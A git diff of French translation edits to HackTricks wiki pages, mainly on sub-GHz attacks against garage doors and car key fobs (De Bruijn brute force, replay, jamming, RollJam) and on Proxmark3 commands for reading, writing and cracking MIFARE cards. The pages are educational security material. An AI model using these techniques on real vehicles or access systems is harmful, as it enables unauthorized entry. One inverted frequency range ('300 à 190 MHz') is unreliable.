-49,7 +49,7 @@ proxmark3> hf mf eset 01 000102030405060708090a0b0c0d0e0f # Write those bytes to proxmark3> hf mf eget 01 # Read block 1 proxmark3> hf mf wrbl 01 B FFFFFFFFFFFF 000102030405060708090a0b0c0d0e0f # Write to the card ``` -Le Proxmark3 permet d'effectuer d'autres actions comme **écouter** une **communication Tag à Lecteur** pour essayer de trouver des données sensibles. Sur cette carte, vous pourriez simplement renifler la communication et calculer la clé utilisée car les **opérations cryptographiques utilisées sont faibles** et en connaissant le texte en clair et le texte chiffré, vous pouvez le calculer (outil `mfkey64`). +Le Proxmark3 permet d'effectuer d'autres actions comme **écouter** une **communication Tag à Lecteur** pour essayer de trouver des données sensibles. Sur cette carte, vous pourriez simplement écouter la communication et calculer la clé utilisée car les **opérations cryptographiques utilisées sont faibles** et en connaissant le texte en clair et le texte chiffré, vous pouvez le calculer (outil `mfkey64`). ### Commandes Brutes @@ -63,11 +63,11 @@ No chinese magic backdoor command detected Prng detection: WEAK Valid ISO14443A Tag Found - Quiting Search ``` -Avec ces informations, vous pourriez essayer de rechercher des informations sur la carte et sur la manière de communiquer avec elle. Proxmark3 permet d'envoyer des commandes brutes comme: `hf 14a raw -p -b 7 26` +Avec ces informations, vous pourriez essayer de rechercher des informations sur la carte et sur la manière de communiquer avec elle. Proxmark3 permet d'envoyer des commandes brutes comme : `hf 14a raw -p -b 7 26` ### Scripts -Le logiciel Proxmark3 est livré avec une liste préchargée de **scripts d'automatisation** que vous pouvez utiliser pour effectuer des tâches simples. Pour récupérer la liste complète, utilisez la commande `script list`. Ensuite, utilisez la commande `script run`, suivi du nom du script: +Le logiciel Proxmark3 est livré avec une liste préchargée de **scripts d'automatisation** que vous pouvez utiliser pour effectuer des tâches simples. Pour récupérer la liste complète, utilisez la commande `script list`. Ensuite, utilisez la commande `script run`, suivie du nom du script : ``` proxmark3> script run mfkeys ``` @@ -75,19 +75,19 @@ Vous pouvez créer un script pour **fuzzer les lecteurs de tags**, en copiant le
-Trouvez les vulnérabilités les plus importantes afin de pouvoir les corriger plus rapidement. Intruder suit votre surface d'attaque, lance des analyses de menaces proactives, trouve des problèmes sur l'ensemble de votre pile technologique, des API aux applications web et aux systèmes cloud. [**Essayez-le gratuitement**](https://www.intruder.io/?utm_source=referral\&utm_campaign=hacktricks) aujourd'hui. +Trouvez les vulnérabilités les plus importantes afin de pouvoir les corriger plus rapidement. Intruder suit votre surface d'attaque, lance des analyses de menaces proactives, trouve des problèmes dans l'ensemble de votre pile technologique, des API aux applications web et aux systèmes cloud. [**Essayez-le gratuitement**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) aujourd'hui. {% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
-☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 +Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! -* Travaillez-vous dans une **entreprise de cybersécurité** ? Vous souhaitez voir votre **entreprise annoncée dans HackTricks** ? ou souhaitez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! -* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Travaillez-vous dans une **entreprise de cybersécurité**? Vous souhaitez voir votre **entreprise annoncée dans HackTricks**? ou souhaitez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) **groupe Discord**](https://discord.gg/hRep4RUj7f) ou le **groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud). +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) **groupe Discord**](https://discord.gg/hRep4RUj7f) ou le **groupe Telegram**](https://t.me/peass) ou **suivez-moi** sur **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au** [**dépôt hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**dépôt hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
diff --git a/todo/radio-hacking/sub-ghz-rf.md b/todo/radio-hacking/sub-ghz-rf.md index 96515d37d..0f93cf62b 100644 --- a/todo/radio-hacking/sub-ghz-rf.md +++ b/todo/radio-hacking/sub-ghz-rf.md @@ -1,96 +1,96 @@ -# Sub-GHz RF +# RF Sub-GHz
-Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS HackTricks)! -Autres moyens de soutenir HackTricks : +Autres façons de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Partagez vos astuces de piratage en soumettant des PRs aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
-## Portes de Garage +## Portes de garage -Les ouvre-portes de garage fonctionnent généralement à des fréquences dans la plage de 300-190 MHz, les fréquences les plus courantes étant 300 MHz, 310 MHz, 315 MHz et 390 MHz. Cette gamme de fréquences est couramment utilisée pour les ouvre-portes de garage car elle est moins encombrée que d'autres bandes de fréquences et est moins susceptible de subir des interférences d'autres appareils. +Les ouvre-portes de garage fonctionnent généralement dans la plage de fréquences de 300 à 190 MHz, avec les fréquences les plus courantes étant 300 MHz, 310 MHz, 315 MHz et 390 MHz. Cette plage de fréquences est couramment utilisée pour les ouvre-portes de garage car elle est moins encombrée que d'autres bandes de fréquences et est moins susceptible de subir des interférences d'autres appareils. -## Portières de Voiture +## Portes de voiture -La plupart des clés de voiture fonctionnent soit sur **315 MHz ou 433 MHz**. Ce sont toutes les deux des fréquences radio, et elles sont utilisées dans une variété d'applications différentes. La principale différence entre les deux fréquences est que 433 MHz a une portée plus longue que 315 MHz. Cela signifie que 433 MHz est mieux pour les applications nécessitant une portée plus longue, comme l'entrée sans clé à distance.\ -En Europe, le 433.92MHz est couramment utilisé et aux États-Unis et au Japon, c'est le 315MHz. +La plupart des télécommandes de clés de voiture fonctionnent sur **315 MHz ou 433 MHz**. Ce sont toutes deux des fréquences radio, et elles sont utilisées dans diverses applications. La principale différence entre les deux fréquences est que 433 MHz a une portée plus longue que 315 MHz. Cela signifie que 433 MHz est mieux adapté aux applications nécessitant une portée plus longue, comme l'entrée sans clé à distance.\ +En Europe, le 433,92 MHz est couramment utilisé et aux États-Unis et au Japon, c'est le 315 MHz. -## **Attaque par Brute-force** +## **Attaque par force brute**
-Si au lieu d'envoyer chaque code 5 fois (envoyé ainsi pour s'assurer que le récepteur le reçoit) on l'envoie une seule fois, le temps est réduit à 6 minutes : +Si au lieu d'envoyer chaque code 5 fois (envoyé de cette manière pour s'assurer que le récepteur le reçoit), vous l'envoyez une seule fois, le temps est réduit à 6 minutes :
-et si vous **supprimez les 2 ms d'attente** entre les signaux, vous pouvez **réduire le temps à 3 minutes.** +et si vous **supprimez la période d'attente de 2 ms** entre les signaux, vous pouvez **réduire le temps à 3 minutes**. -De plus, en utilisant la Séquence de De Bruijn (une manière de réduire le nombre de bits nécessaires pour envoyer tous les nombres binaires potentiels pour le brute-force), ce **temps est réduit à seulement 8 secondes** : +De plus, en utilisant la séquence de De Bruijn (une manière de réduire le nombre de bits nécessaires pour envoyer tous les nombres binaires potentiels à forcer), ce **temps est réduit à seulement 8 secondes** :
Un exemple de cette attaque a été implémenté dans [https://github.com/samyk/opensesame](https://github.com/samyk/opensesame) -Exiger **un préambule évitera l'optimisation de la Séquence de De Bruijn** et **les codes tournants empêcheront cette attaque** (en supposant que le code soit assez long pour ne pas être brute-forcé). +Exiger **un préambule évitera l'optimisation de la séquence de De Bruijn** et les **codes tournants empêcheront cette attaque** (en supposant que le code soit suffisamment long pour ne pas être forcé). ## Attaque Sub-GHz -Pour attaquer ces signaux avec Flipper Zero, consultez : +Pour attaquer ces signaux avec Flipper Zero, vérifiez : {% content-ref url="flipper-zero/fz-sub-ghz.md" %} [fz-sub-ghz.md](flipper-zero/fz-sub-ghz.md) {% endcontent-ref %} -## Protection par Codes Tournants +## Protection des codes tournants -Les ouvre-portes de garage automatiques utilisent généralement une télécommande sans fil pour ouvrir et fermer la porte de garage. La télécommande **envoie un signal de fréquence radio (RF)** à l'ouvre-porte de garage, qui active le moteur pour ouvrir ou fermer la porte. +Les ouvre-portes de garage automatiques utilisent généralement une télécommande sans fil pour ouvrir et fermer la porte de garage. La télécommande **envoie un signal radiofréquence (RF)** à l'ouvre-porte de garage, qui active le moteur pour ouvrir ou fermer la porte. -Il est possible pour quelqu'un d'utiliser un appareil connu sous le nom de code grabber pour intercepter le signal RF et l'enregistrer pour une utilisation ultérieure. Cela est connu sous le nom d'**attaque par replay**. Pour prévenir ce type d'attaque, de nombreux ouvre-portes de garage modernes utilisent une méthode de chiffrement plus sécurisée connue sous le nom de système de **codes tournants**. +Il est possible pour quelqu'un d'utiliser un dispositif appelé un intercepteur de code pour intercepter le signal RF et l'enregistrer pour une utilisation ultérieure. C'est ce qu'on appelle une **attaque de rejeu**. Pour prévenir ce type d'attaque, de nombreux ouvre-portes de garage modernes utilisent une méthode de cryptage plus sécurisée appelée système de **code tournant**. -Le **signal RF est généralement transmis en utilisant un code tournant**, ce qui signifie que le code change à chaque utilisation. Cela rend **difficile** pour quelqu'un d'**intercepter** le signal et de l'**utiliser** pour obtenir un accès **non autorisé** au garage. +Le **signal RF est généralement transmis en utilisant un code tournant**, ce qui signifie que le code change à chaque utilisation. Cela rend **difficile** pour quelqu'un d'**intercepter** le signal et de l'utiliser pour **accéder de manière non autorisée** au garage. -Dans un système de codes tournants, la télécommande et l'ouvre-porte de garage ont un **algorithme partagé** qui **génère un nouveau code** à chaque fois que la télécommande est utilisée. L'ouvre-porte de garage ne répondra qu'au **bon code**, rendant beaucoup plus difficile pour quelqu'un d'obtenir un accès non autorisé au garage juste en capturant un code. +Dans un système de code tournant, la télécommande et l'ouvre-porte de garage ont un **algorithme partagé** qui **génère un nouveau code** à chaque utilisation de la télécommande. L'ouvre-porte de garage ne répondra qu'au **code correct**, ce qui rend beaucoup plus difficile pour quelqu'un d'accéder de manière non autorisée au garage simplement en capturant un code. -### **Attaque par Manque de Liaison** +### **Attaque du maillon manquant** -En gros, vous écoutez le bouton et **capturez le signal pendant que la télécommande est hors de portée** de l'appareil (disons la voiture ou le garage). Vous vous déplacez ensuite vers l'appareil et **utilisez le code capturé pour l'ouvrir**. +Essentiellement, vous écoutez le bouton et **capturez le signal pendant que la télécommande est hors de portée** du dispositif (comme la voiture ou le garage). Ensuite, vous vous déplacez vers le dispositif et **utilisez le code capturé pour l'ouvrir**. -### Attaque par Brouillage de Liaison Complète +### Attaque de brouillage de lien complet -Un attaquant pourrait **brouiller le signal près du véhicule ou du récepteur** de sorte que le **récepteur ne puisse pas réellement 'entendre' le code**, et une fois cela fait, vous pouvez simplement **capturer et rejouer** le code lorsque vous avez arrêté de brouiller. +Un attaquant pourrait **brouiller le signal près du véhicule ou du récepteur** afin que le **récepteur ne puisse pas réellement ‘entendre’ le code**, et une fois que cela se produit, vous pouvez simplement **capturer et rejouer** le code lorsque vous avez arrêté de brouiller. -La victime à un moment donné utilisera les **clés pour verrouiller la voiture**, mais ensuite l'attaque aura **enregistré suffisamment de codes "fermer la porte"** qui pourraient être renvoyés pour ouvrir la porte (un **changement de fréquence pourrait être nécessaire** car il y a des voitures qui utilisent les mêmes codes pour ouvrir et fermer mais écoutent les deux commandes sur des fréquences différentes). +La victime finira par **utiliser les clés pour verrouiller la voiture**, mais ensuite l'attaque aura **enregistré suffisamment de codes de "fermeture"** qui, espérons-le, pourraient être renvoyés pour ouvrir la porte (un **changement de fréquence pourrait être nécessaire** car il y a des voitures qui utilisent les mêmes codes pour ouvrir et fermer mais écoutent les deux commandes sur des fréquences différentes). {% hint style="warning" %} -**Le brouillage fonctionne**, mais c'est perceptible car si la **personne verrouillant la voiture teste simplement les portes** pour s'assurer qu'elles sont verrouillées, elle remarquerait que la voiture est déverrouillée. De plus, s'ils étaient conscients de telles attaques, ils pourraient même écouter le fait que les portes n'ont jamais émis le **son** de verrouillage ou que les **lumières** de la voiture n'ont jamais clignoté lorsqu'ils ont appuyé sur le bouton de verrouillage. +**Le brouillage fonctionne**, mais il est perceptible car si la **personne verrouillant la voiture teste simplement les portes** pour s'assurer qu'elles sont verrouillées, elle remarquerait que la voiture est déverrouillée. De plus, s'ils étaient conscients de telles attaques, ils pourraient même écouter le fait que les portes n'ont jamais fait le **bruit de verrouillage** ou que les **feux de la voiture** n'ont jamais clignoté lorsqu'ils ont appuyé sur le bouton de ‘verrouillage’. {% endhint %} -### **Attaque par Capture de Code (alias 'RollJam')** +### **Attaque de capture de code (alias ‘RollJam’)** -C'est une technique de brouillage plus **furtive**. L'attaquant va brouiller le signal, donc lorsque la victime essaie de verrouiller la porte, cela ne fonctionnera pas, mais l'attaquant va **enregistrer ce code**. Ensuite, la victime va **essayer de verrouiller la voiture à nouveau** en appuyant sur le bouton et la voiture va **enregistrer ce second code**.\ -Immédiatement après cela, l'**attaquant peut envoyer le premier code** et la **voiture se verrouillera** (la victime pensera que la deuxième pression l'a fermée). Ensuite, l'attaquant pourra **envoyer le deuxième code volé pour ouvrir** la voiture (en supposant qu'un **code "fermer la voiture" puisse aussi être utilisé pour l'ouvrir**). Un changement de fréquence pourrait être nécessaire (car il y a des voitures qui utilisent les mêmes codes pour ouvrir et fermer mais écoutent les deux commandes sur des fréquences différentes). +Il s'agit d'une technique de brouillage plus **furtive**. L'attaquant brouillera le signal, donc lorsque la victime essaiera de verrouiller la porte, cela ne fonctionnera pas, mais l'attaquant **enregistrera ce code**. Ensuite, la victime **essaiera de verrouiller la voiture à nouveau** en appuyant sur le bouton et la voiture **enregistrera ce deuxième code**.\ +Immédiatement après cela, l'**attaquant peut envoyer le premier code** et la **voiture se verrouillera** (la victime pensera que la deuxième pression l'a fermée). Ensuite, l'attaquant pourra **envoyer le deuxième code volé pour ouvrir** la voiture (en supposant qu'un **code de "fermeture de la voiture" peut également être utilisé pour l'ouvrir**). Un changement de fréquence pourrait être nécessaire (car il y a des voitures qui utilisent les mêmes codes pour ouvrir et fermer mais écoutent les deux commandes sur des fréquences différentes). -L'attaquant peut **brouiller le récepteur de la voiture et non son récepteur** parce que si le récepteur de la voiture écoute par exemple une bande passante de 1MHz, l'attaquant ne va pas **brouiller** la fréquence exacte utilisée par la télécommande mais **une proche dans ce spectre** tandis que le **récepteur de l'attaquant écoutera dans une plage plus petite** où il peut entendre le signal de la télécommande **sans le signal de brouillage**. +L'attaquant peut **brouiller le récepteur de la voiture et non son récepteur** car si le récepteur de la voiture écoute par exemple sur une large bande de 1 MHz, l'attaquant ne **brouillera pas** la fréquence exacte utilisée par la télécommande mais **une proche dans ce spectre** tandis que le **récepteur de l'attaquant écoutera dans une plage plus petite** où il peut écouter le signal de la télécommande **sans le signal de brouillage**. {% hint style="warning" %} -D'autres implémentations vues dans les spécifications montrent que le **code tournant est une portion** du code total envoyé. C'est-à-dire que le code envoyé est une **clé de 24 bits** où les premiers **12 sont le code tournant**, les **8 suivants sont la commande** (comme verrouiller ou déverrouiller) et les 4 derniers sont le **checksum**. Les véhicules mettant en œuvre ce type sont également naturellement susceptibles car l'attaquant a juste besoin de remplacer le segment de code tournant pour pouvoir **utiliser n'importe quel code tournant sur les deux fréquences**. +D'autres implémentations vues dans les spécifications montrent que le **code tournant est une partie** du code total envoyé. Par exemple, le code envoyé est une **clé de 24 bits** où les **12 premiers sont le code tournant**, les **8 suivants sont la commande** (comme verrouiller ou déverrouiller) et les 4 derniers sont le **checksum**. Les véhicules mettant en œuvre ce type sont également naturellement vulnérables car l'attaquant n'a qu'à remplacer le segment de code tournant pour pouvoir **utiliser n'importe quel code tournant sur les deux fréquences**. {% endhint %} {% hint style="danger" %} Notez que si la victime envoie un troisième code pendant que l'attaquant envoie le premier, le premier et le deuxième code seront invalidés. {% endhint %} -### Attaque par Brouillage avec Alarme +### Attaque de brouillage avec alarme sonore -En testant contre un système de codes tournants après-vente installé sur une voiture, **envoyer le même code deux fois** a immédiatement **activé l'alarme** et l'immobilisateur offrant une opportunité unique de **déni de service**. Ironiquement, le moyen de **désactiver l'alarme** et l'immobilisateur était de **presser** la **télécommande**, offrant à un attaquant la possibilité de **continuer à effectuer une attaque DoS**. Ou combinez cette attaque avec la **précédente pour obtenir plus de codes** car la victime voudrait arrêter l'attaque au plus vite. +En testant contre un système de code tournant après-vente installé sur une voiture, **envoyer le même code deux fois** a immédiatement **activé l'alarme** et l'immobilisateur, offrant une opportunité unique de **déni de service**. Ironiquement, le moyen de **désactiver l'alarme** et l'immobilisateur était de **presser** la **télécommande**, offrant à un attaquant la possibilité de **réaliser continuellement une attaque par déni de service**. Ou mélanger cette attaque avec la **précédente pour obtenir plus de codes** car la victime voudrait arrêter l'attaque le plus rapidement possible. ## Références @@ -101,14 +101,14 @@ En testant contre un système de codes tournants après-vente installé sur une
-Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS HackTricks)! -Autres moyens de soutenir HackTricks : +Autres façons de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Partagez vos astuces de piratage en soumettant des PRs aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
diff --git a/welcome/about-the-author.md b/welcome/about-the-author.md index 4ea58f7aa..ae68e6d18 100644 --- a/welcome/about-the-author.md +++ b/welcome/about-the-author.md @@ -2,13 +2,13 @@
-☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert de l'équipe rouge HackTricks AWS)! * Travaillez-vous dans une **entreprise de cybersécurité**? Vous voulez voir votre **entreprise annoncée dans HackTricks**? ou souhaitez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Partagez vos astuces de piratage en soumettant des PR aux dépôts [hacktricks](https://github.com/carlospolop/hacktricks) et [hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**. +* **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et au [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
@@ -16,18 +16,18 @@ Tout d'abord, il est nécessaire d'indiquer que tous les **crédits des techniques de recherche provenant d'autres sites appartiennent aux auteurs originaux** (il y a des références sur les pages). Félicitations à chaque recherche qui partage des connaissances pour améliorer la sécurité d'Internet. -HackTricks est un Wiki éducatif qui compile des connaissances sur la **cybersécurité** dirigé par Carlos avec des centaines de collaborateurs ! C'est une **énorme collection d'astuces de piratage** mise à jour par la communauté autant que possible pour la maintenir à jour. Si vous constatez qu'il manque quelque chose ou que des informations sont obsolètes, veuillez envoyer une **Pull Request** à [**Hacktricks Github**](https://github.com/carlospolop/hacktricks) ! +HackTricks est un Wiki éducatif qui compile des connaissances sur la **cybersécurité** dirigé par Carlos avec des centaines de collaborateurs ! C'est une **énorme collection d'astuces de piratage** mise à jour par la communauté autant que possible pour la maintenir à jour. Si vous constatez qu'il manque quelque chose ou que c'est obsolète, veuillez envoyer une **demande de tirage** à [**Hacktricks Github**](https://github.com/carlospolop/hacktricks) ! HackTricks est également un wiki où **de nombreuses recherches partagent également leurs dernières découvertes**, c'est donc un excellent endroit pour rester à jour sur les dernières techniques de piratage.
-☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert de l'équipe rouge HackTricks AWS)! * Travaillez-vous dans une **entreprise de cybersécurité**? Vous voulez voir votre **entreprise annoncée dans HackTricks**? ou souhaitez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Partagez vos astuces de piratage en soumettant des PR aux dépôts [hacktricks](https://github.com/carlospolop/hacktricks) et [hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**. +* **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et au [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
diff --git a/welcome/hacktricks-values-and-faq.md b/welcome/hacktricks-values-and-faq.md index c2fefa338..6ed074b91 100644 --- a/welcome/hacktricks-values-and-faq.md +++ b/welcome/hacktricks-values-and-faq.md @@ -9,7 +9,7 @@ Autres façons de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
@@ -20,7 +20,7 @@ Autres façons de soutenir HackTricks : Voici les **valeurs du projet HackTricks** : * Offrir un accès **GRATUIT** à des ressources de piratage **ÉDUCATIVES** à **TOUT** l'Internet. -* Le piratage consiste à apprendre, et l'apprentissage devrait être aussi libre que possible. +* Le piratage consiste à apprendre, et l'apprentissage devrait être aussi gratuit que possible. * Le but de ce livre est de servir de **ressource éducative complète**. * **STOCKER** d'incroyables **techniques de piratage** que la communauté publie en donnant à **TOUS LES AUTEURS ORIGINAUX** tous les **crédits**. * **Nous ne voulons pas le mérite des autres personnes**, nous voulons juste stocker des astuces cool pour tout le monde. @@ -63,7 +63,7 @@ Oui, vous le pouvez, mais **n'oubliez pas de mentionner le(s) lien(s) spécifiqu * **Comment puis-je citer une page de HackTricks ?** {% endhint %} -Tant que le lien **de** la ou des pages d'où vous avez pris les informations apparaît, c'est suffisant.\ +Tant que le lien **de** la ou des page(s) d'où vous avez pris les informations apparaît, c'est suffisant.\ Si vous avez besoin d'un bibtex, vous pouvez utiliser quelque chose comme : ```latex @misc{hacktricks-bibtexing, @@ -77,7 +77,7 @@ url = {\url{https://book.hacktricks.xyz/specific-page}}, * **Puis-je copier tous les HackTricks sur mon blog?** {% endhint %} -**Je préférerais ne pas**. Cela **ne bénéficiera à personne** car tout le **contenu est déjà disponible publiquement** dans les livres officiels HackTricks gratuitement. +**Je préférerais que non**. Cela **ne bénéficiera à personne** car tout le **contenu est déjà disponible publiquement** dans les livres officiels HackTricks gratuitement. Si vous craignez qu'il disparaisse, il vous suffit de le cloner sur Github ou de le télécharger, comme je l'ai dit, c'est déjà gratuit. @@ -85,35 +85,35 @@ Si vous craignez qu'il disparaisse, il vous suffit de le cloner sur Github ou de * **Pourquoi avez-vous des sponsors? Les livres HackTricks sont-ils à des fins commerciales?** {% endhint %} -La première **valeur** des **HackTricks** est d'offrir des ressources pédagogiques de piratage **GRATUITES** à **TOUS** dans le monde. L'équipe HackTricks a **consacré des milliers d'heures** pour offrir ce contenu, encore une fois, **GRATUITEMENT**. +La première **valeur de HackTricks** est d'offrir des ressources pédagogiques de piratage **GRATUITES** à **TOUS** dans le monde. L'équipe HackTricks a **consacré des milliers d'heures** pour offrir ce contenu, encore une fois, **GRATUITEMENT**. Si vous pensez que les livres HackTricks sont faits à des fins **commerciales**, vous avez **TOTALEMENT TORT**. -Nous avons des sponsors car, même si tout le contenu est GRATUIT, nous voulons **offrir à la communauté la possibilité d'apprécier notre travail** s'ils le souhaitent. Par conséquent, nous offrons aux gens la possibilité de faire des dons à HackTricks via [**Github sponsors**](https://github.com/sponsors/carlospolop), et **aux entreprises de cybersécurité pertinentes** de parrainer HackTricks et d'avoir **des publicités** dans le livre, les **publicités** étant toujours placées à des endroits où elles sont **visibles** mais **ne perturbent pas l'apprentissage** si quelqu'un se concentre sur le contenu. +Nous avons des sponsors parce que, même si tout le contenu est GRATUIT, nous voulons **offrir à la communauté la possibilité d'apprécier notre travail** s'ils le souhaitent. Par conséquent, nous offrons aux gens la possibilité de faire des dons à HackTricks via [**Github sponsors**](https://github.com/sponsors/carlospolop), et **aux entreprises de cybersécurité pertinentes** de parrainer HackTricks et d'avoir **des publicités** dans le livre, les **publicités** étant toujours placées à des endroits où elles sont **visibles** mais **ne perturbent pas l'apprentissage** si quelqu'un se concentre sur le contenu. -Vous ne trouverez pas de publicités ennuyeuses dans HackTricks comme dans d'autres blogs avec beaucoup moins de contenu que HackTricks, car HackTricks n'est pas fait à des fins commerciales. +Vous ne trouverez pas HackTricks rempli de publicités ennuyeuses comme d'autres blogs avec beaucoup moins de contenu que HackTricks, car HackTricks n'est pas fait à des fins commerciales. {% hint style="danger" %} * **Que dois-je faire si une page HackTricks est basée sur un article de mon blog mais n'est pas référencée?** {% endhint %} -**Nous sommes désolés. Cela ne devrait pas être 